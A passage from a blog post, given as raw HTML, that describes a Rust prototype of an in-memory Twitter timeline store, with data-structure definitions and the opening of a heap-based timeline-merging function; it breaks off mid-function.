&lt;p&gt;So I just prototyped a RAM-only implementation and I’ll handwave away the difficulty of the buffer manager (and things like schema migrations) by saying it isn’t that relevant to whether the performance targets are possible because most requests just hit RAM and &lt;a href=&quot;https://www.cs.cit.tum.de/fileadmin/w00cfj/dis/_my_direct_uploads/vmcache.pdf&quot;&gt;this paper shows that you can implement what is basically mmap with &lt;em&gt;much&lt;/em&gt; more efficient page faults&lt;/a&gt; for only a 10% latency hit on non-faulting RAM reads plus some TLB misses from not being able to use hugepages. Although the real overhead is on the writes and faulting reads and from the handful of cores taken up for logging writes and managing checkpointing, cache reads and evictions.&lt;/p&gt;

&lt;h2 id=&quot;my-prototype&quot;&gt;My Prototype&lt;/h2&gt;

&lt;p&gt;I made a prototype (&lt;a href=&quot;https://github.com/trishume/twitterperf&quot;&gt;source on Github&lt;/a&gt;) in Rust to benchmark the in-memory performance of timeline merging and show that I could get it fast enough to serve the full load. At it’s core is a minimalist pooling-and-indices style representation of Twitter’s data, optimized to be fairly memory-efficient:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cd&quot;&gt;/// Leave room for a full 280 English character plus slop for accents or emoji.&lt;/span&gt;
&lt;span class=&quot;cd&quot;&gt;/// A real implementation would have an escape hatch for longer tweets.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TWEET_BYTES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;286&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// non-zero so options including a timestamp don&apos;t take any more space&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// u32 since that&apos;s 100+ years of second-level precision and it lets us pack atomics&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Timestamp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NonZeroU32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TweetIdx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Tweet&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TWEET_BYTES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;likes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;quotes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;retweets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cd&quot;&gt;/// linked list of tweets to make appending fast and avoid space overhead&lt;/span&gt;
&lt;span class=&quot;cd&quot;&gt;/// a linked list of chunks of tweets would probably be faster because of&lt;/span&gt;
&lt;span class=&quot;cd&quot;&gt;/// cache locality of fetches, but I haven&apos;t implemented that&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NextLink&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// so we know whether to follow further&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tweet_idx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TweetIdx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cd&quot;&gt;/// Top level feeds use an atomic link so we can mutate concurrently&lt;/span&gt;
&lt;span class=&quot;cd&quot;&gt;/// This effectively works by casting NextLink to a u64&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;AtomicChain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AtomicU64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;cd&quot;&gt;/// Since this is most of our RAM and cache misses we make sure it&apos;s&lt;/span&gt;
&lt;span class=&quot;cd&quot;&gt;/// aligned to cache lines for style points&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;#[repr(align(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;))]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ChainedTweet&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tweet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Tweet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prev_tweet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NextLink&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;assert_eq_size!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;320&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ChainedTweet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 5 cache lines&lt;/span&gt;

&lt;span class=&quot;cd&quot;&gt;/// We store the Graph in a format we can mmap from a pre-baked file&lt;/span&gt;
&lt;span class=&quot;cd&quot;&gt;/// so that our tests can load a real graph faster&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Graph&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;follows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UserIdx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;follows_idx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// index into graph follows&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;num_follows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;num_followers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Graph&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// We can use zero-cost abstractions to make our pools more ergonomic&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;user_follows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UserIdx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.follows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.follows_idx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.num_follows&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Datastore&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;graph&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Graph&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// This is a tiny custom pool which mmaps a vast amount of un-paged virtual&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// address space. It&apos;s like a Vec which never moves and lets you append concurrently&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// with only an immutable reference by using an internal append lock.&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tweets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SharedPool&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ChainedTweet&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;feeds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AtomicChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then the code to compose a timeline is a simple usage of Rust’s built-in heap:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cd&quot;&gt;/// Re-use these allocations so fetching can be malloc-free&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TimelineFetcher&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tweets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tweet&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;heap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BinaryHeap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NextLink&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TimelineFetcher&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;push_after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;link&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NextLink&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;link&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.ts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.heap&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;for_user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Datastore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;user_idx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UserIdx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;max_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Timestamp&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Timeline&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.heap&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.clear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.tweets&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.clear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.graph.users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_idx&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// seed heap with links for all follows&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;follow&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.graph&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.user_follows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push_after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.feeds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;follow&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// compose timeline by popping chronologically next tweet&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NextLink&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tweet_idx&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.heap&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.pop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
